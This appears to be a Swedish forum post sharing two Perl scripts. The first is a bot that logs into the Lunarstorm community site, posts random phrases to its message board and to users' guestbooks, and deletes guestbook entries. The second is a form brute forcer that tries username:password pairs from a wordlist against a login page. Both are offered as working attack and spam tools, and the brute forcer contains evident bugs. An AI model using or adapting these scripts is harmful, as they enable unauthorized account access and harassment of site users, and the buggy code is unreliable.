lunarstorm bot
#!/usr/bin/perl -w
use WWW::Curl::Easy;
my $curl = new WWW::Curl::Easy;
$username = '';
$password = '';
$userid = '';
sub body_callback
{
my ($chunk,$context)=@_;
push @{$context}, $chunk;
return length($chunk); # OK
}
sub POST
{
my ($site,$data) = @_;
my @body;
$curl->setopt(CURLOPT_WRITEFUNCTION, \&body_callback);
$curl->setopt(CURLOPT_FILE, \@body);
$curl->setopt(CURLOPT_HEADERFUNCTION, \&body_callback);
$curl->setopt(CURLOPT_WRITEHEADER, \@header);
$curl->setopt(CURLOPT_URL, $site);
#$curl->setopt(CURLOPT_RETURNTRANSFER,1);
$curl->setopt(CURLOPT_FOLLOWLOCATION,1);
$curl->setopt(CURLOPT_COOKIEJAR,"cook");
$curl->setopt(CURLOPT_COOKIEFILE,"cook");
$curl->setopt(CURLOPT_POST,1);
$curl->setopt(CURLOPT_POSTFIELDS,$data);
$curl->perform;
my $err = $curl->errbuf;
my $info = $curl->getinfo(CURLINFO_HTTP_CODE);
return join("",@body);
}
sub GET
{
my ($site) = @_;
my @body;
$curl->setopt(CURLOPT_WRITEFUNCTION, \&body_callback);
$curl->setopt(CURLOPT_FILE, \@body);
$curl->setopt(CURLOPT_URL, $site);
#$curl->setopt(CURLOPT_RETURNTRANSFER,1);
$curl->setopt(CURLOPT_FOLLOWLOCATION,1);
$curl->setopt(CURLOPT_COOKIEJAR,"cook");
$curl->setopt(CURLOPT_COOKIEFILE,"cook");
$curl->perform;
my $err = $curl->errbuf;
my $info = $curl->getinfo(CURLINFO_HTTP_CODE);
return join("",@body);
}
sub LOGIN
{
my ($data) = "username=$username&password=$password";
&POST('http://www.lunarstorm.se/log/log_login.asp',$data);
&GET('http://www.lunarstorm.se/log/log_inside.asp?status=login&clus...');
&GET('http://www.lunarstorm.se/top/top_inside.asp');
print ("Loggar in! \n");
}
sub KLOTTER
{
print("Påbörjar skrivning på klotterplanket");
@slump = ("bajs","kiss"); # LÄGG TILL SAKER SOM BOTEN SKA SLUMPA FRAM OCH SKRIVA
$fraser = @slump;
&LOGIN;
$body= &GET('http://www.lunarstorm.se/bbs/bbs_main.aspx');
$body =~ m/name="userid".*value="(.*?)"/;
print ($1);
my ($data) = "body=".$slump[int( rand($fraser-1) )]."&userid=$1";
&POST('http://www.lunarstorm.se/bbs/bbs_main.aspx',$data);
print("Medelande skickat! \n ");
}
sub GASTBOK
{
open(FRASER,'/usr/home/psycho/perl-scripts/lunarbot/fraslista');
$i = 0;
while($line = <FRASER>)
{
$fraser[$i] = $line;
$i++;
}
my ($data) ='__EVENTTARGET=sendGuestbook%3A_ctl7%3AbtnSendNimo%3AbtnSendNimo_a&__EVENTARGUMENT=&__VIEWSTATE=
dDw4ODg1OTY3MTg7dDxwPGw8ZmM7Y3A7b3U7cGk7b2k7bG9hZENvdW50O3NtO21sO2hwO3VuO21jOz47bDxTeXN0ZW0uQnl0
ZSwgbXNjb3JsaWIsIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1
NjE5MzRlMDg5PDI%2BOzUwPDE%2BO288Zj47NTA8MD47U3lzdGVtLkd1aWQsIG1zY29ybGliLCBWZXJzaW9uPTEuMC41MDAw
LjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OTxkOTVmZGU2OC01MDk2LTRiMTgtY
jYzZS1iNmI5N2U4MjM4YjU%2BO2k8MT47XGU7aTwyMzgxPjtvPGY%2BO01hcmlhYm9vYmVuO2k8MjM4Mj47Pj47bDxpPDA%2BOz47
bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwzPjs%2BO2w8dDw7bDxpPDEzPjs%2BO2w8dDxwPHA8bDxGYXZvcml0ZXM7VmlzaWJsZTs%2BO2
w8NTA8MD47bzx0Pjs%2BPjs%2BOzs%2BOz4%2BOz4%2BOz4%2BOz4%2BOz7kdBQ5YbQ1BJHNEGdI5PecOdL8UQ%3D%3D
&sendGuestbook%3AtxtMessage='.$fraser[int( rand($count=@fraser-1) )].'&sendGuestbook%3AhidTheme=';
LOGIN;
$body = GET('http://www.lunarstorm.se/gst/gst_guestbook.aspx');
@lines = split("\n",$body);
foreach $line (@lines)
{
if($line =~ /javascript:WriteMessage\((\d+),'{(.*?)}','(\w+?)'.*javascript:ConfirmDelete\('(.*?)'/)
{
sleep(3);
&GET('http://www.lunarstorm.se/usr/gst_guestbook.asp');
print ("Besvarar inlägg! \n");
&POST('http://www.lunarstorm.se/gst/gst_guestbook.aspx?userid={'.$2.'}&flashrnd=0.48516145736158656',$data);
#print('2:http://www.lunarstorm.se/gst/gst_delete.aspx?userid='.$4.'&guestnr='.$1.'&username='.$3. "\n");
print("Inlägg skrivit! \n");
#print("http://www.lunarstorm.se/gst/gst_delete.aspx?userid=$4&guestn...");
&GET('http://www.lunarstorm.se/usr/gst_guestbook.asp');
print('1:http://www.lunarstorm.se/gst/gst_delete.aspx?userid='.$4.'&guestnr='.$1.'&username='.$3. "\n");
print ("Raderar inlägg!\n");
&GET('http://www.lunarstorm.se/gst/gst_delete.aspx?userid='.$4.'&guestnr='.$1.'&username='.$3);
}
}
}
Som ni ser är det bara några funktioner för att kunna skriva till folks gästböcker och till klotterplanket.
Tveksamt om någon har nytta av det här, otydlig och dålig kod, men man ser lite hur lunar-systemet funkar(om man undviker all bs)
enkel perl-brute forcer till formulär för att finna både anv och pw.(där endast anv och pw behövs)
wordlist syntax:
anv:pw
anv:pw
etc...
#!/usr/local/bin/perl -w
use IO::Socket;
use strict;
my $host = '';
my $addr = '';
my $stop = ''; #stanna när ett speciellt regex är uppnått.
my (@user,@password,$response,$user);
my $wordlist = ''; # sökvägen till wordlist
my $postpath = ''; #sökväg till postscriptet med / som början
my ($postname,$postpw) = ('',''); # namnen på post-formuläret t ex
#användarnamn och lösenord
sub POST
{
my $sock = new IO::Socket::INET
(PeerAddr =>$addr,
PeerPort => 80,
Proto => 'tcp');
die $! unless $sock;
my ($body);
my ($site,$data) = @_;
my $headerdata = "POST $site HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".length($data)."\r\n\r\n$data";
print $sock ($headerdata);
while(<$sock>)
{
$body .= $_;
}
return $body;
close $sock;
}
open(FILE,$wordlist);
my ($i,$j) = (0,0);
while(<FILE>)
{
chop $_;
($user[$i],$password[$j])= split(/:/,$_);
$i++;
$j++;
}
foreach $user (@user)
{
print "Brutar $user\n";
for($i=0;$i<@password;$i++)
{
$response = POST(,"$postanv=$user&$postpw=$password[$i]");
print $i."\n";
if($response !~ /$stop/)
{
die($user.':'.$password);
}
}
print "Klar,byter användare\n";
}